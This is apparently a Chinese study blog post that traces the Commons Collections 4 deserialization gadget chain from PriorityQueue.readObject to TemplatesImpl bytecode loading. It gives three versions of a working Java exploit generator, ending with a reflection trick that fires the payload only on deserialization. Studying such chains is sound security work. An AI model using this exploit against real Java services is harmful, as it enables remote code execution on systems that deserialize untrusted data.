因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以在本链中不会用到InvokerTransformer,而是使用cc3中出现的instantiateTransformer这个类,也就是加载字节码这个方法
相当于后半段的链子还是没有变化的,前半段变化有点大
跟链子
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
instantiateTransformer.transform()
new TrAXFilter
TemplatesImpl.newTransformer
还是要利用transform方法,我们来看看
TransformingComparator.compare()
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
然后再去看看
PriorityQueue.siftUpUsingComparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
因为是private,我们继续看哪里调用了siftUpUsingComparator
PriorityQueue.siftDown
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
接着在heapify中找到了调用
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
这个时候,在继续找哪里调用了heapify的时候,就发现在readObject中调用了,那么这个链子就在这完成了闭环
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
编写exp
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
//满足getTransletInstance的条件
Field _name = templatesClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "Bloyet");
Field _class = templatesClass.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates, null);
//满足defineTransletClasses的条件
byte[] _bytecodess = Files.readAllBytes(Paths.get("H:\\http.class"));
byte[][] exp = new byte[][]{_bytecodess};
Field _tfactory = templatesClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
Field _bytecodess1 = templatesClass.getDeclaredField("_bytecodes");
_bytecodess1.setAccessible(true);
_bytecodess1.set(templates, exp);
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformer = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue<>(comparator);
serialize(queue);
unserialize("D:\\out.obj");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("D:\\out.obj")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
按道理没什么问题的,但是弹不了计算器,那就看看哪里没考虑到了
变成-1了,进不去for循环,那应该就是这里的问题了,想办法怎么把他变成大于0
这样说明 size应该是得大于等于2才行
可以利用add方法传值,可以增加size
EXP:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
//满足getTransletInstance的条件
Field _name = templatesClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "Bloyet");
Field _class = templatesClass.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates, null);
//满足defineTransletClasses的条件
byte[] _bytecodess = Files.readAllBytes(Paths.get("H:\\http.class"));
byte[][] exp = new byte[][]{_bytecodess};
Field _tfactory = templatesClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
Field _bytecodess1 = templatesClass.getDeclaredField("_bytecodes");
_bytecodess1.setAccessible(true);
_bytecodess1.set(templates, exp);
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformer = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue<>(comparator);
queue.add("1");
queue.add("2");
serialize(queue);
unserialize("D:\\out.obj");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("D:\\out.obj")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
可以弹计算器,但是报错了,可以去调试发现,在执行add方法之后(这里偷个懒,直接拿大佬的图了)
在这里我们可以看到,这个计算器根本不是因为反序列化执行的,而是在add方法调用之后,自动就调用了,解决办法,就是我们先给comparator的值传入一个无关值,然后add方法传入值之后,在通过反射修改comparator的值为我们的恶意链
最终EXP
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
//满足getTransletInstance的条件
Field _name = templatesClass.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "Bloyet");
Field _class = templatesClass.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates, null);
//满足defineTransletClasses的条件
byte[] _bytecodess = Files.readAllBytes(Paths.get("H:\\http.class"));
byte[][] exp = new byte[][]{_bytecodess};
Field _tfactory = templatesClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
Field _bytecodess1 = templatesClass.getDeclaredField("_bytecodes");
_bytecodess1.setAccessible(true);
_bytecodess1.set(templates, exp);
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformer = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue<>(comparator);
queue.add("1");
queue.add("2");
//反射传入
Class c =Class.forName("org.apache.commons.collections4.comparators.TransformingComparator");
Field TransformingComparatortransformer = c.getDeclaredField("transformer");
TransformingComparatortransformer.setAccessible(true);
TransformingComparatortransformer.set(comparator, chainedTransformer);
serialize(queue);
unserialize("D:\\out.obj");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("D:\\out.obj")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
总结:
学了几条链子之后,确实发现java代码能力提升了许多,然后调试代码也顺畅许多
参考文献: